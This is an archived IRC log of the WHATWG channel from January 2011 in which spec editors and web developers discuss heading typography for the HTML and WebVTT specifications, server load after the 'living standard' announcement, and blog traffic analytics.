Options:
- # Session Start: Thu Jan 20 00:00:00 2011
- # Session Ident: #whatwg
- # [00:00] <Hixie> heycam: yeah, there's a lot of traffic.
- # [00:00] <Hixie> jacobolus: k
- # [00:00] * Quits: bckenny (~bckenny@nat/google/x-vgqixwqtiajfsdzz) (Remote host closed the connection)
- # [00:01] <Hixie> i can also just make it smallcaps
- # [00:01] <annevk> I will look into caching plugins tomorrow for when we make the next announcement o_O
- # [00:01] <annevk> I did not quite anticipate this
- # [00:01] <Hixie> hehe
- # [00:01] <jacobolus> (also note, I'm not really an expert typographer by any stretch of the imagination)
- # [00:02] <benschwarz> jacobolus: capital lines should always be letterspaced
- # [00:02] * Hixie restarts the server with a few more simultaneous connections allowed
- # [00:02] <benschwarz> but they should be avoided where possible
- # [00:03] <jacobolus> benschwarz: yeah, but what about the word WebVVT
- # [00:03] <jacobolus> er, WebVTT
- # [00:03] <benschwarz> jacobolus: is it a title?
- # [00:03] <Hixie> how about http://www.whatwg.org/specs/web-apps/current-work/webvtt.html ?
- # [00:03] * _bga is now known as bga_|away
- # [00:03] <Hixie> (now smallcaps)
- # [00:03] <jacobolus> benschwarz: ↑
- # [00:04] * Joins: othermaciej (~mjs@17.246.17.13)
- # [00:04] <Hixie> http://www.whatwg.org/specs/web-apps/current-work/complete/ is small caps too now
- # [00:04] <benschwarz> sever is getting too smashed, I think
- # [00:04] * Quits: chriseppstein (~chris@209.119.65.162) (Quit: chriseppstein)
- # [00:05] <Hixie> yeah it's a bit slow to load these giant specs
- # [00:05] <Hixie> gotta say, though, the server is handling this way better than last time we got a lot of traffic
- # [00:05] <Hixie> and given that it's basically free... can't complain
- # [00:06] * Joins: chriseppstein (~chris@209.119.65.162)
- # [00:06] <Hixie> is it me or is the h2 on http://www.whatwg.org/specs/web-apps/current-work/multipage/ a different font or something than the h2 on http://www.whatwg.org/specs/web-apps/current-work/complete/ ???
- # [00:06] <Hixie> it's the same style sheet...
- # [00:06] <Hixie> different top margin, too
- # [00:06] <Hixie> wtf
- # [00:06] <jacobolus> Hixie: those are loading slow enough that I can't tell you if they're different :)
- # [00:07] * bga_|away is now known as bga_
- # [00:07] <TabAtkins> It's just you.
- # [00:07] * Quits: mdelaney (~mdelaney@2620:0:1b00:1191:d69a:20ff:febf:89a0) (Ping timeout: 272 seconds)
- # [00:07] <TabAtkins> I don't see different top margins either. Clear your cache?
- # [00:08] <benschwarz> jacobolus: hmm, I'd keep it regular case. The kerning on the We is way off though
- # [00:08] <jacobolus> Hixie: I'm not a big fan of the mix of big and small caps there
- # [00:08] * Quits: webr3 (~nathan@host86-140-58-69.range86-140.btcentralplus.com) (Ping timeout: 246 seconds)
- # [00:09] <jacobolus> benschwarz, Hixie: maybe add the "render this with kerning" CSS for h1s and h2s?
- # [00:09] <jacobolus> then the We won't get so much space
- # [00:09] <benschwarz> jacobolus: yeah, thats what I stuck into my inspector :)
- # [00:09] * Quits: boaz (~boaz@64.119.153.2) (Quit: boaz)
- # [00:10] <jacobolus> what's the special css for that?
- # [00:10] <benschwarz> https://skitch.com/benschwarz/rkg4x/webvtt
- # [00:10] * Quits: Martijnc (~Martijnc@91.176.99.196) (Quit: Martijnc)
- # [00:10] <jacobolus> I think firefox does kerning properly regardless these days, no?
- # [00:10] <benschwarz> jacobolus: it always has
- # [00:10] <jacobolus> well, always since FF3 or something
- # [00:10] <roc> yeah, since FF3
- # [00:11] <jacobolus> and safari takes the explicit css flag?
- # [00:11] <Hixie> what's the magic css to make the browsers slower again?
- # [00:11] <benschwarz> jacobolus: yes
- # [00:11] <TabAtkins> use ~ combinators?
- # [00:11] <roc> text-rendering:optimizeLegibility
- # [00:11] <Hixie> thanks
- # [00:11] <roc> actually I'm wrong
- # [00:11] <benschwarz> Hixie: see the skitch :)
- # [00:11] <Hixie> yeah i saw it after asking :-)
- # [00:11] <roc> In FF3 we did not do kerning on Windows and X below certain font sizes (20px)
- # [00:12] <TabAtkins> Add a "* ~ * * ~ * * ~ * {}" block to your document.
- # [00:12] <benschwarz> FF3 came out forever ago, seemingly
- # [00:12] <roc> in FF4 we do kerning always
- # [00:12] <TabAtkins> Additional benefit - you look like a 13-year old on myspace.
- # [00:12] <roc> assuming the font's got it, etc etc
- # [00:12] <Hixie> jgraham: pimpmyspec is giving me 500s... maybe because it can't get the source file from whatwg?
- # [00:13] <jgraham> Hixie: That would have that effect
- # [00:13] <Hixie> k
- # [00:13] <Hixie> can you increase the timeout or something? that might solve the problem with when it's the w3c site, too
- # [00:14] <frenzz> http://media.tumblr.com/tumblr_leujsqUBpU1qdswit.jpg
- # [00:14] <Hixie> (which is usually the problem when there's a 500 fromm pms)
- # [00:14] * Joins: webr3 (~nathan@host86-136-179-183.range86-136.btcentralplus.com)
- # [00:15] <bga_> frenzz lynx is turtle
- # [00:15] <bga_> or owl
- # [00:15] <jacobolus> Hixie: anyway, feel free to refer any questions about the typography of headings to benschwarz; the main thing is just letterspacing on "HTML", dunno about "WebTTV" (maybe the TTV part, if you want to add a span), and no extra letterspacing on "Web Applications"
- # [00:16] <jgraham> Hixie: Maybe but I really should sleep now and I am not quite sure how to do it
- # [00:16] * Quits: richardschwerdtf (~RichS@32.97.110.64) (Quit: richardschwerdtf)
- # [00:16] <Hixie> jgraham: k
- # [00:16] <Hixie> jgraham: nn
- # [00:16] <jgraham> gn :)
- # [00:16] <benschwarz> if multi-page is living standard
- # [00:16] <benschwarz> I wonder what developers. should be
- # [00:16] <Hixie> jacobolus: well they're all small-caps now so they can all have litter-spacing :-)
- # [00:17] <heycam> litter-spacing is where the space between two characters is set to the width of a piece of kitty litter
- # [00:17] <Hixie> benschwarz: is "Edition for Web Developers" no good?
- # [00:17] <heycam> that, or how much space to put between your kittens
- # [00:17] <benschwarz> Hixie: well, now you've upped the ante :D
- # [00:17] <Hixie> benschwarz: heh
- # [00:17] <Hixie> benschwarz: it's said "living standard" for a while now
- # [00:18] <heycam> "living standard" makes me think of "living will"
- # [00:18] <Hixie> i guess we should get a new right-hand-side banner
- # [00:18] <benschwarz> there is something so bad about this
- # [00:18] <benschwarz> http://html5.uncontrol.com/
- # [00:18] <Hixie> or drop it altogether
- # [00:18] <heycam> I promise to turn life support to HTML5 off if it becomes a vegetable
- # [00:18] <benschwarz> Hixie: drop it ;)
- # [00:19] <Hixie> er, left-hand-side banner
- # [00:20] <benschwarz> or there are many things bad about that, I should say
- # [00:20] <Hixie> i love how "optimiseLegibility" is written as camelcase in CSS
- # [00:20] <Hixie> it's a bit like spelling "spelling" as "spellng"
- # [00:21] <roc> yeah they stuffed that up
- # [00:21] <Hixie> still getting hits to /specs/web-apps/current-work/multipage/mfavicon.ico btw
- # [00:22] <roc> we should add optimize-legibility etc as synonyms
- # [00:22] <Hixie> eh, aliases just mean more bugs with no new features
- # [00:22] * Quits: paul_irish (~paul_iris@nat/google/x-sbpuqxlkhahwqjyf) (Read error: Connection reset by peer)
- # [00:22] <Hixie> i'd just move on
- # [00:22] <Hixie> i just think it's funny
- # [00:22] * Joins: paul_irish (~paul_iris@nat/google/x-ojlsmydommppozdq)
- # [00:22] <othermaciej> benschwarz: omg, HTML5 is the Master Control Program!
- # [00:23] <jacobolus> jgraham: if you're really having trouble you could try horse tranquilizers
- # [00:23] <Hixie> oh my lord, without the thing on the left the spec feels so naked!
- # [00:23] <Hixie> that's gonna take some getting used to
- # [00:24] <TabAtkins> I know!
- # [00:24] <TabAtkins> Just add a green stripe.
- # [00:24] <Hixie> i think it's kinda nice
- # [00:24] <Hixie> looks clean
- # [00:24] <TabAtkins> Perhaps with "This is the song that never ends...".
- # [00:24] * Joins: LuigiMontanez (~Adium@enki.sunlightfoundation.com)
- # [00:30] * Quits: Maurice (copyman@5ED573FA.cm-7-6b.dynamic.ziggo.nl)
- # [00:30] * Quits: MrOpposite (~mropposit@unaffiliated/mropposite) (Quit: OMG, YOU KILLED OPPO!)
- # [00:30] <benschwarz> Hixie: yours better not look better than mine :)
- # [00:30] <Hixie> hahaha
- # [00:30] <Hixie> no worry of that, believe me
- # [00:30] <Hixie> well except for the dom trees unless you've fixed those ;-)
- # [00:30] <benschwarz> Hixie: once developers. is ready, we can look at other editions
- # [00:30] <benschwarz> Hixie: no, I've been consulting :)
- # [00:31] <Hixie> blog comments seem positive so far
- # [00:31] <benschwarz> but today I have ab+c time. some whatwg is on my mind
- # [00:31] <benschwarz> Hixie: blog comments? on the rename
- # [00:32] * Quits: matjas (~matjas@91.182.75.147) (Quit: Computer has gone to sleep.)
- # [00:32] <annevk> twitter too
- # [00:32] <Hixie> yeah
- # [00:32] <Hixie> annevk: cool
- # [00:33] <Hixie> does wordpress just randomly make up icons for users who don't have them?
- # [00:33] * Joins: matjas (~matjas@91.182.75.147)
- # [00:33] * Quits: matjas (~matjas@91.182.75.147) (Client Quit)
- # [00:33] <annevk> the twitters also like our tagline
- # [00:33] <annevk> Hixie, yeah, before we had some ugly icon so I changed it to make it unique for each of them
- # [00:33] <annevk> it's a setting
- # [00:34] <Hixie> fun
- # [00:34] <Hixie> wow, from the twitters it looks like this change might even cause people to stop focusing on 2022 ;-)
- # [00:35] <Hixie> lol, svn.whatwg.org just timed out on me while trying to commit
- # [00:35] <Hixie> that could make life fun
- # [00:35] <annevk> it only makes sense, now we are always ready
- # [00:35] <annevk> and always not
- # [00:35] <Hixie> it's amusing how much an announcement can change
- # [00:35] <Hixie> i mean, we really didn't change anything today
- # [00:36] <Hixie> other than make it impossible for me to edit the sec :-P
- # [00:36] <Hixie> spec
- # [00:36] * Joins: LuigiMontanez1 (~Adium@enki.sunlightfoundation.com)
- # [00:36] * Quits: LuigiMontanez1 (~Adium@enki.sunlightfoundation.com) (Client Quit)
- # [00:36] * Joins: frederich (~unitone@unaffiliated/unitone)
- # [00:36] <annevk> heh
- # [00:36] <benschwarz> Hixie: time to sit back and count our money
- # [00:37] <annevk> I think it means we should share our philosophy more
- # [00:37] <Hixie> annevk: ok you shouldn't be getting notified anymore if "source" doesn't change. It'll still send you a notification occasionally, e.g. later today when I have to do a forced-submit to make sure everything got updated properly
- # [00:37] <Hixie> but not in general
- # [00:37] <Hixie> and forced submits will always be editoriol
- # [00:37] <annevk> cool
- # [00:37] <Hixie> editorial
- # [00:37] * Joins: homata (~homata@58x158x182x50.ap58.ftth.ucom.ne.jp)
- # [00:37] <annevk> editorial is tweeted too now on request
- # [00:37] <Hixie> wtf, we're STILL getting those favicon hits
- # [00:37] <Hixie> really!
- # [00:37] <Hixie> wow
- # [00:38] <Hixie> twitter users are masochists
- # [00:38] <benschwarz> whats the favicon story?
- # [00:38] <annevk> what we just announced was an editorial change
- # [00:38] <annevk> people love the trivia
- # [00:38] <Hixie> i guess
- # [00:38] <Hixie> benschwarz: dhtml5.org had some bug that was causing whatwg.org to get hits for favicons in weird places
- # [00:38] <Hixie> it was fixed but i'm still getting hits
- # [00:38] <annevk> the hardcore algorithms are not conversation material
- # [00:39] * Quits: karlcow (~karl@nerval.la-grange.net) (Remote host closed the connection)
- # [00:39] <Hixie> annevk: you might want to just filter out the commits with message "typo" and "xref" then
- # [00:39] * Quits: LuigiMontanez (~Adium@enki.sunlightfoundation.com) (Ping timeout: 240 seconds)
- # [00:39] <Hixie> i wonder if someone has it open with an old copy of the page or something
- # [00:39] <annevk> Hixie, yeah, that might make sense
- # [00:40] <jacobolus> Hixie: I'll leave it to you, but I've never been a fan of small caps mixed with big caps, especially since browsers use the same glyphs for each, but with different scaling, so that the small caps end up looking really wimpy.
- # [00:40] <Hixie> annevk: multiple IPs though
- # [00:40] <Hixie> jacobolus: i'm gonna leave it for a while, see if it grows on me or not. I'll probably end up changing it back though.
- # [00:41] <jacobolus> I like the big HTML though :)
- # [00:41] <Hixie> yeah that's gonna stay
- # [00:41] <benschwarz> jacobolus: ps. I think your comments are really very poignant re: developers.
- # [00:41] <Hixie> i have a class on that h1 so that i can make it stay even if i change the default back :-)
- # [00:41] <jacobolus> benschwarz: hrm?
- # [00:41] <benschwarz> if you're interested in forking, working out how on earth to build it
- # [00:42] <benschwarz> I'd be interested in seeing patches ;)
- # [00:42] <Hixie> looks like it's three people who have dhtml5.org open
- # [00:42] <Hixie> on an old page
- # [00:42] <jacobolus> benschwarz: not quite sure what you're referring to?
- # [00:42] <benschwarz> jacobolus: the developer spec
- # [00:42] <jacobolus> did I say something about it? other than nice job, it's pretty?
- # [00:42] <annevk> Hixie, I meant the filtering of messages that just say "typo" or "xref"
- # [00:43] <benschwarz> jacobolus: are you not jrus?
- # [00:43] <jacobolus> benschwarz: or the "nice job, it's pretty" was poignant?
- # [00:43] <annevk> so the older copy of dhtml5.org changed the favicon on the fly?
- # [00:43] <annevk> hilarious
- # [00:43] <jacobolus> benschwarz: ah, that's me. okay, gotcha now
- # [00:43] <jacobolus> you're welcome
- # [00:43] <adactio> Just for the record, I think the "Living Standard" strapline is kind of cheesy. I'd much rather a plain old "HTML."
- # [00:44] <benschwarz> my my, its adactio
- # [00:44] <Hixie> annevk: ah
- # [00:44] <jacobolus> benschwarz: I try my best to be poignant whenever possible
- # [00:45] <annevk> adactio, so basically not bother with labeling the document?
- # [00:45] <Hixie> adactio: well we need the date, and the date on its own looks silly. having it say "standard" also puts an end to endless discussions about whether it's a draft and whether you can refer to it, etc.
- # [00:45] <adactio> annevk: Label it with "HTML"
- # [00:45] <Hixie> i like how google hasn't indexed the new title yet so if you do a "latest" search for "html" it says the top link is the spec but has the old title :-)
- # [00:46] <jacobolus> benschwarz: if you want to shrink a completely-separate-from-the-text code sample, that's probably fine
- # [00:46] <annevk> Hixie, it still says "Working Draft" on the side btw
- # [00:46] <adactio> Hixie: I don't think the date on its own looks silly.
- # [00:46] <jacobolus> benschwarz: it's just the in-line ones that are distractingly small
- # [00:46] <benschwarz> Hixie: fyi. I removed the date entirely from developers.whatwg.org…
- # [00:46] <annevk> Hixie, I think we could nuke the sidebar and maybe reduce the margin somewhat?
- # [00:46] <TabAtkins> Do the date on its own!
- # [00:46] <annevk> Hixie, the graphical sidebar that is
- # [00:47] <annevk> TabAtkins, adactio, I think Hixie has a point in that people will ask about it, but I suppose we could have a FAQ entry
- # [00:47] <annevk> there is no real reason to have that label
- # [00:47] * bga_ is now known as bga_|away
- # [00:47] * Quits: Moo-_- (~quassel@herd37.twinapex.fi) (Quit: No Ping reply in 180 seconds.)
- # [00:48] <annevk> the only reason we have it is because other standard organizations use such labels
- # [00:48] * Quits: nw_ (eero@heaven.unlink.org) (Ping timeout: 255 seconds)
- # [00:48] <adactio> annevk: Yes, I think it's a job for the FAQ rather than the spec.
- # [00:48] <benschwarz> Hixie: the date is probably too high up the typographic hierarchy…
- # [00:48] * Joins: moo (~quassel@herd37.twinapex.fi)
- # [00:48] * Quits: sroussey (~sroussey@adsl-69-234-111-42.dsl.irvnca.pacbell.net) (Ping timeout: 250 seconds)
- # [00:48] * moo is now known as Guest85253
- # [00:48] * Quits: sicking (~chatzilla@nat/mozilla/x-amqoeetdoewmiary) (Ping timeout: 260 seconds)
- # [00:49] <Hixie> benschwarz: on developers.whatwg.org the date isn't so critical
- # [00:49] <Hixie> annevk: the sidebar has been gone for about 20 minutes now
- # [00:49] * Quits: workmad3 (~workmad3@cpc3-bagu10-0-0-cust651.1-3.cable.virginmedia.com) (Remote host closed the connection)
- # [00:49] <Hixie> i'm not taking off the "living standard" label right now, since we _just_ blogged that we were adding it, but we can revisit that in a few weeks, certainly
- # [00:49] <annevk> o_O
- # [00:50] <Hixie> you have to hard-refresh to get style sheet updates
- # [00:50] <adactio> Hixie: Okay. An interim measure it is, then.
- # [00:50] <annevk> everyone happy, great
- # [00:51] <benschwarz> adactio: Hi! We haven't met, yet…
- # [00:51] <adactio> benschwarz: Hello. Pleased to meet you.
- # [00:51] <Hixie> annevk: do we have any analytics on blog.whatwg.org?
- # [00:51] <Hixie> annevk: i'm curious to find out what our top referrers are
- # [00:52] <annevk> I think mpilgrim has details on that
- # [00:52] <annevk> he set up Google Analytics when he wrote blog entries and it has not been removed from the source code
- # [00:52] * Quits: ben_c (~ben_c@cpc3-brig17-2-0-cust939.3-3.cable.virginmedia.com) (Quit: Leaving.)
- # [00:53] <Hixie> k
- # [00:53] <Hixie> mpilgrim: yt?
- # [00:53] <annevk> http://news.ycombinator.com/item?id=2121356 is probably one of them by the way
- # [00:53] * Joins: ben_c (~ben_c@cpc3-brig17-2-0-cust939.3-3.cable.virginmedia.com)
- # [00:53] <benschwarz> adactio: I'm from ab-c.com.au, we're new :0)
- # [00:53] <benschwarz> annevk: hacker news is only good for a few hundred hits
- # [00:53] * Joins: sicking (~chatzilla@nat/mozilla/x-jdvntjektafracje)
- # [00:54] <adactio> benschwarz: you did the CSS for the author spec, right? Nice work.
- # [00:54] <benschwarz> adactio: Yeah, I've been trying to move along on developers.whatwg.org too, Christmas break was too short though
- # [00:56] * Quits: ap (~ap@17.246.18.214) (Remote host closed the connection)
- # [00:56] * Joins: ap (~ap@17.203.15.167)
- # [00:57] * Guest85253 is now known as moo-_^
- # [00:58] * Joins: nw_ (eero@heaven.unlink.org)
- # [00:58] * Joins: daedb_ (~daed@78-72-108-100-no178.tbcn.telia.com)
- # [01:00] * Quits: daedb (~daed@78-72-108-100-no178.tbcn.telia.com) (Ping timeout: 250 seconds)
- # [01:01] * Quits: Aleoss112 (~AleossIRC@204-83-16-179.regn.hsdb.sasknet.sk.ca) (Quit: We love you, Dark Continent! Good night!)
- # [01:01] * Quits: FireFly (~firefly@1-1-3-36a.tul.sth.bostream.se) (Quit: swatted to death)
- # [01:01] * bga_|away is now known as bga_
- # [01:01] * Joins: Aleoss (~AleossIRC@unaffiliated/aleoss)
- # [01:02] * Quits: paul_irish (~paul_iris@nat/google/x-ojlsmydommppozdq) (Remote host closed the connection)
- # [01:02] * Joins: mdelaney (~mdelaney@2620:0:1b00:1191:d69a:20ff:febf:89a0)
- # [01:05] * Joins: jochen___ (~jochen@nat/google/x-erfqpjfouqmxdbqf)
- # [01:06] * Joins: paul_irish (~paul_iris@nat/google/x-czabsztbkjqxslln)
- # [01:06] <annevk> adactio, thanks btw for pushing the envelope!
- # [01:07] <annevk> and to everyone else who cares about little details that make this great
- # [01:07] <adactio> annevk: no problemo. I don't contribute much, but I'm happy when I can.
- # [01:07] * Quits: jamund (~jamund@24-104-129.146.hfc.mediarain.com) (Quit: jamund)
- # [01:08] * Quits: jochen__ (~jochen@nat/google/x-exdbitvfoijhktbz) (Ping timeout: 255 seconds)
- # [01:08] * jochen___ is now known as jochen__
- # [01:11] <mpilgrim> hixie: here
- # [01:12] <Hixie> mpilgrim: can you get us analytics for the recent post?
- # [01:13] <mpilgrim> 7418 pageviews
- # [01:13] <mpilgrim> 102 sources
- # [01:13] <mpilgrim> daringfireball.net: 1050 hits
- # [01:13] <mpilgrim> news.ycombinator.com: 1045 hits
- # [01:13] <mpilgrim> reddit.com: 592 hits
- # [01:13] <mpilgrim> twitter: 566 hits
- # [01:14] <mpilgrim> google: 410 hits
- # [01:14] <mpilgrim> drops off after that
- # [01:14] * Quits: tndH (~Rob@cpc15-seac19-2-0-cust232.7-2.cable.virginmedia.com) (Quit: ChatZilla 0.9.86-rdmsoft [XULRunner 1.9.0.1/2008072406])
- # [01:17] <Hixie> cool, thanks
- # [01:17] * Quits: sethladd (~sethladd@nat/google/x-yspbnqyqsybitimz) (Quit: sethladd)
- # [01:18] * Joins: sethladd (~sethladd@nat/google/x-ttvilhhlgxxekafz)
- # [01:18] * Quits: yoroy (~yoroy@ip46-91-210-87.adsl2.static.versatel.nl) (Quit: yoroy)
- # [01:19] * Quits: roc (~chatzilla@203-97-204-82.dsl.clear.net.nz) (Ping timeout: 255 seconds)
- # [01:19] * Joins: nurse (~nurse@2001:240:629::6)
- # [01:19] <annevk> mpilgrim, could you add annevankesteren@gmail.com as user?
- # [01:20] <annevk> from a brief look at what I used to have that seems to be possible, but I am not sure
- # [01:21] <mpilgrim> done
- # [01:21] <mpilgrim> i think
- # [01:21] * Joins: realityking (~realityki@g228170002.adsl.alicedsl.de)
- # [01:21] <Hixie> ooh ooh add me! add me!
- # [01:21] <Hixie> ian.hickson@gmail.com
- # [01:21] <mpilgrim> try https://www.google.com/analytics/reporting/?id=12053975
- # [01:22] <Hixie> gotta go, bbiab
- # [01:22] <annevk> http://daringfireball.net/linked/2011/01/19/ped-score o_O
- # [01:22] <annevk> cool
- # [01:22] <annevk> thanks
- # [01:22] * Quits: jet_p70qw (~jet_p70qw@c-75-72-244-165.hsd1.mn.comcast.net)
- # [01:24] <bga_> does whatwg has own logo?
- # [01:25] <ben_c> yeah, and it covers whatwg, w3c, google and bananas
- # [01:25] * Joins: sroussey (~sroussey@adsl-69-234-111-42.dsl.irvnca.pacbell.net)
- # [01:26] <TabAtkins> Anybody know much about the USB HID standard? I'm looking to sanity check an idea.
- # [01:26] <bga_> i see. thanks
- # [01:26] <ben_c> bga_: there's actually the green question mark in the circle
- # [01:27] <annevk> bga_, http://www.whatwg.org/images/logo
- # [01:27] * Quits: sicking (~chatzilla@nat/mozilla/x-jdvntjektafracje) (Remote host closed the connection)
- # [01:32] * Quits: othermaciej (~mjs@17.246.17.13) (Quit: othermaciej)
- # [01:32] * Quits: chriseppstein (~chris@209.119.65.162) (Quit: chriseppstein)
- # [01:33] * Joins: chriseppstein (~chris@209.119.65.162)
- # [01:35] * Joins: wakaba_ (~wakaba_@122x221x184x68.ap122.ftth.ucom.ne.jp)
- # [01:36] * Joins: wakaba_0 (~wakaba_@122x221x184x68.ap122.ftth.ucom.ne.jp)
- # [01:40] * Joins: imajes (~imajes@host-67-23-79-82.biznesshosting.net)
- # [01:41] * Quits: dglazkov (d8ef2d04@gateway/web/freenode/ip.216.239.45.4) (Ping timeout: 265 seconds)
- # [01:42] * Joins: homata___ (~homata_@58x158x182x50.ap58.ftth.ucom.ne.jp)
- # [01:44] * Quits: sethladd (~sethladd@nat/google/x-ttvilhhlgxxekafz) (Quit: sethladd)
- # [01:47] * Quits: homata___ (~homata_@58x158x182x50.ap58.ftth.ucom.ne.jp) (Remote host closed the connection)
- # [01:47] * Joins: nattokirai (~nattokira@rtr.mozilla.or.jp)
- # [01:50] * Parts: adactio (~adactio@cust217-dsl91-135-3.idnet.net)
- # [01:54] * Joins: agektmr (~Adium@p4130-ipbf4203marunouchi.tokyo.ocn.ne.jp)
- # [01:54] * Quits: agektmr (~Adium@p4130-ipbf4203marunouchi.tokyo.ocn.ne.jp) (Client Quit)
- # [01:58] * Quits: chriseppstein (~chris@209.119.65.162) (Quit: chriseppstein)
- # [01:58] * Quits: mpilgrim (~pilgrim@rrcs-24-206-36-125.midsouth.biz.rr.com) (Ping timeout: 276 seconds)
- # [02:00] * Joins: LuigiMontanez (~Adium@ip70-174-136-58.dc.dc.cox.net)
- # [02:03] * Joins: boaz (~boaz@c-24-128-79-120.hsd1.ma.comcast.net)
- # [02:04] * Joins: homata__ (~homata@58x158x182x50.ap58.ftth.ucom.ne.jp)
- # [02:06] * Quits: homata (~homata@58x158x182x50.ap58.ftth.ucom.ne.jp) (Ping timeout: 255 seconds)
- # [02:15] * Quits: inkbase (~Inkbase@nat/ibm/x-smzsstitpriknbou) (Quit: inkbase)
- # [02:17] * Quits: mloki (~mloki__@x1-6-00-10-a7-28-f3-47.k765.webspeed.dk) (Quit: Leaving)
- # [02:18] * Quits: mpt (~mpt@canonical/mpt) (Ping timeout: 240 seconds)
- # [02:20] * Quits: annevk (~annevk@5355737B.cm-6-6b.dynamic.ziggo.nl) (Quit: annevk)
- # [02:21] * Joins: Duke___ (~duke@187.57.241.156)
- # [02:22] * Parts: koesbong (~koes@c-98-246-12-28.hsd1.or.comcast.net)
- # [02:25] * Quits: mdelaney (~mdelaney@2620:0:1b00:1191:d69a:20ff:febf:89a0) (Quit: mdelaney)
- # [02:26] * Joins: wilhelm (wilhelm@trivini.no)
- # [02:27] * Quits: MikeSmith (~MikeSmith@EM111-188-46-34.pool.e-mobile.ne.jp) (Ping timeout: 255 seconds)
- # [02:30] * Quits: variable (~variable@unaffiliated/variable) (Read error: Connection timed out)
- # [02:31] * Joins: variable (~variable@unaffiliated/variable)
- # [02:32] * Joins: MikeSmith (~MikeSmith@EM114-48-79-91.pool.e-mobile.ne.jp)
- # [02:36] * Joins: othermaciej (~mjs@c-24-6-209-6.hsd1.ca.comcast.net)
- # [02:37] * Quits: LuigiMontanez (~Adium@ip70-174-136-58.dc.dc.cox.net) (Quit: Leaving.)
- # [02:42] * Joins: oliverkierepka (~chatzilla@dsdf-4d0a1734.pool.mediaWays.net)
- # [02:43] * Parts: oliverkierepka (~chatzilla@dsdf-4d0a1734.pool.mediaWays.net)
- # [02:44] * Joins: oliverkierepka (~chatzilla@dsdf-4d0a1734.pool.mediaWays.net)
- # [02:45] * Quits: dbaron (~dbaron@nat/mozilla/x-qgrdsbekktnszneh) (Ping timeout: 265 seconds)
- # [02:45] * Joins: kanru (~kanru@kanru-1-pt.tunnel.tserv15.lax1.ipv6.he.net)
- # [02:52] * Quits: Aleoss (~AleossIRC@unaffiliated/aleoss) (Read error: Connection reset by peer)
- # [02:53] * Joins: Aleoss (~AleossIRC@unaffiliated/aleoss)
- # [03:00] * Quits: ap (~ap@17.203.15.167) (Quit: ap)
- # [03:01] * Joins: mpt (~mpt@66.226.254.2)
- # [03:01] * Quits: mpt (~mpt@66.226.254.2) (Changing host)
- # [03:01] * Joins: mpt (~mpt@canonical/mpt)
- # [03:09] * Joins: agektmr (~Adium@u653074.xgsnu5.imtp.tachikawa.mopera.net)
- # [03:10] * Quits: variable (~variable@unaffiliated/variable) (Read error: Connection timed out)
- # [03:10] * Joins: variable (~variable@unaffiliated/variable)
- # [03:13] * Joins: realityking_ (~realityki@f049233099.adsl.alicedsl.de)
- # [03:15] * Quits: realityking (~realityki@g228170002.adsl.alicedsl.de) (Ping timeout: 240 seconds)
- # [03:15] * realityking_ is now known as realityking
- # [03:18] * Joins: bckenny (~bckenny@nat/google/x-unjzeibfdmttsgwn)
- # [03:19] * Quits: jaket (~jake@124-171-43-224.dyn.iinet.net.au) (Quit: jaket)
- # [03:21] * Joins: sethladd (~sethladd@nat/google/x-nbzlwfsqtxjdgpyc)
- # [03:22] * Joins: mpilgrim (~pilgrim@rrcs-24-206-36-125.midsouth.biz.rr.com)
- # [03:24] * Quits: webr3 (~nathan@host86-136-179-183.range86-136.btcentralplus.com) (Ping timeout: 260 seconds)
- # [03:29] * Joins: webr3 (~nathan@host86-133-149-132.range86-133.btcentralplus.com)
- # [03:29] * Joins: karlcow (~karl@nerval.la-grange.net)
- # [03:34] * Joins: oliverkierepka_ (~chatzilla@dsdf-4db52ac3.pool.mediaWays.net)
- # [03:35] * Quits: oliverkierepka (~chatzilla@dsdf-4d0a1734.pool.mediaWays.net) (Ping timeout: 240 seconds)
- # [03:35] * oliverkierepka_ is now known as oliverkierepka
- # [03:38] * Quits: sethladd (~sethladd@nat/google/x-nbzlwfsqtxjdgpyc) (Quit: sethladd)
- # [03:39] * Quits: Aleoss (~AleossIRC@unaffiliated/aleoss) (Read error: Connection reset by peer)
- # [03:40] * Joins: Aleoss (~AleossIRC@unaffiliated/aleoss)
- # [03:40] * Quits: seventh (seventh@69.80.99.125) (Ping timeout: 260 seconds)
- # [03:41] * Quits: paul_irish (~paul_iris@nat/google/x-czabsztbkjqxslln) (Remote host closed the connection)
- # [03:45] * Joins: paul_irish (~paul_iris@67.218.109.13)
- # [03:46] * Joins: Silanus (~silanus@p5DDE9499.dip.t-dialin.net)
- # [03:48] * Quits: Silanus_ (~silanus@p5DDE9EAE.dip.t-dialin.net) (Ping timeout: 240 seconds)
- # [03:49] <jacobolus> mpilgrim: I know it's 60% off, but do you really expect us to buy the dead tree version of the html5 book when it's missing all the cute illustrations?
- # [03:51] <jacobolus> (I was sad to see them gone when I finally looked at a copy in a bookstore recently)
- # [03:51] <paul_irish> illustrations++
- # [03:51] * Joins: Jacky (40b44962@gateway/web/freenode/ip.64.180.73.98)
- # [03:52] <jacobolus> oh wait, is the 60% off only for the ebook?
- # [03:52] * Joins: LuigiMontanez (~Adium@ip70-174-136-58.dc.dc.cox.net)
- # [03:53] <jacobolus> so no illustrations and not even any dead trees?
- # [03:53] <nimbupani> whats not to luv
- # [03:56] * bga_ is now known as bga_|away
- # [03:56] * bga_|away is now known as bga_
- # [03:57] <mpilgrim> no, i expect you to buy a bag of bits with no illustrations
- # [04:01] * Quits: cying (~cying@173-228-29-224.dsl.static.sonic.net) (Quit: cying)
- # [04:02] <jacobolus> mpilgrim: out of curiosity, did someone force you to ditch the pretty illustrations?
- # [04:02] <jacobolus> and if so, can we call to complain? :)
- # [04:02] * Quits: agektmr (~Adium@u653074.xgsnu5.imtp.tachikawa.mopera.net) (Quit: Leaving.)
- # [04:03] <jacobolus> (this whole logo brouhaha has me in the complaining mood)
- # [04:03] <mpilgrim> talk to my o'reilly editor
- # [04:03] <mpilgrim> they wanted to maintain their branding
- # [04:05] <mpilgrim> i agreed as long as i could hand them HTML files and never have to touch Microsoft Word
- # [04:05] <jacobolus> haha. fair enough
- # [04:05] <mpilgrim> true story
- # [04:05] * Joins: cying (~cying@173-13-176-101-sfba.hfc.comcastbusiness.net)
- # [04:06] <jacobolus> yeah, avoiding word is a pretty good trade for just about any other terms they might want to throw at it
- # [04:07] * bga_ is now known as bga_|away
- # [04:08] * Quits: cying (~cying@173-13-176-101-sfba.hfc.comcastbusiness.net) (Client Quit)
- # [04:09] * Quits: bckenny (~bckenny@nat/google/x-unjzeibfdmttsgwn) (Remote host closed the connection)
- # [04:14] * Joins: homata (~homata@58x158x182x50.ap58.ftth.ucom.ne.jp)
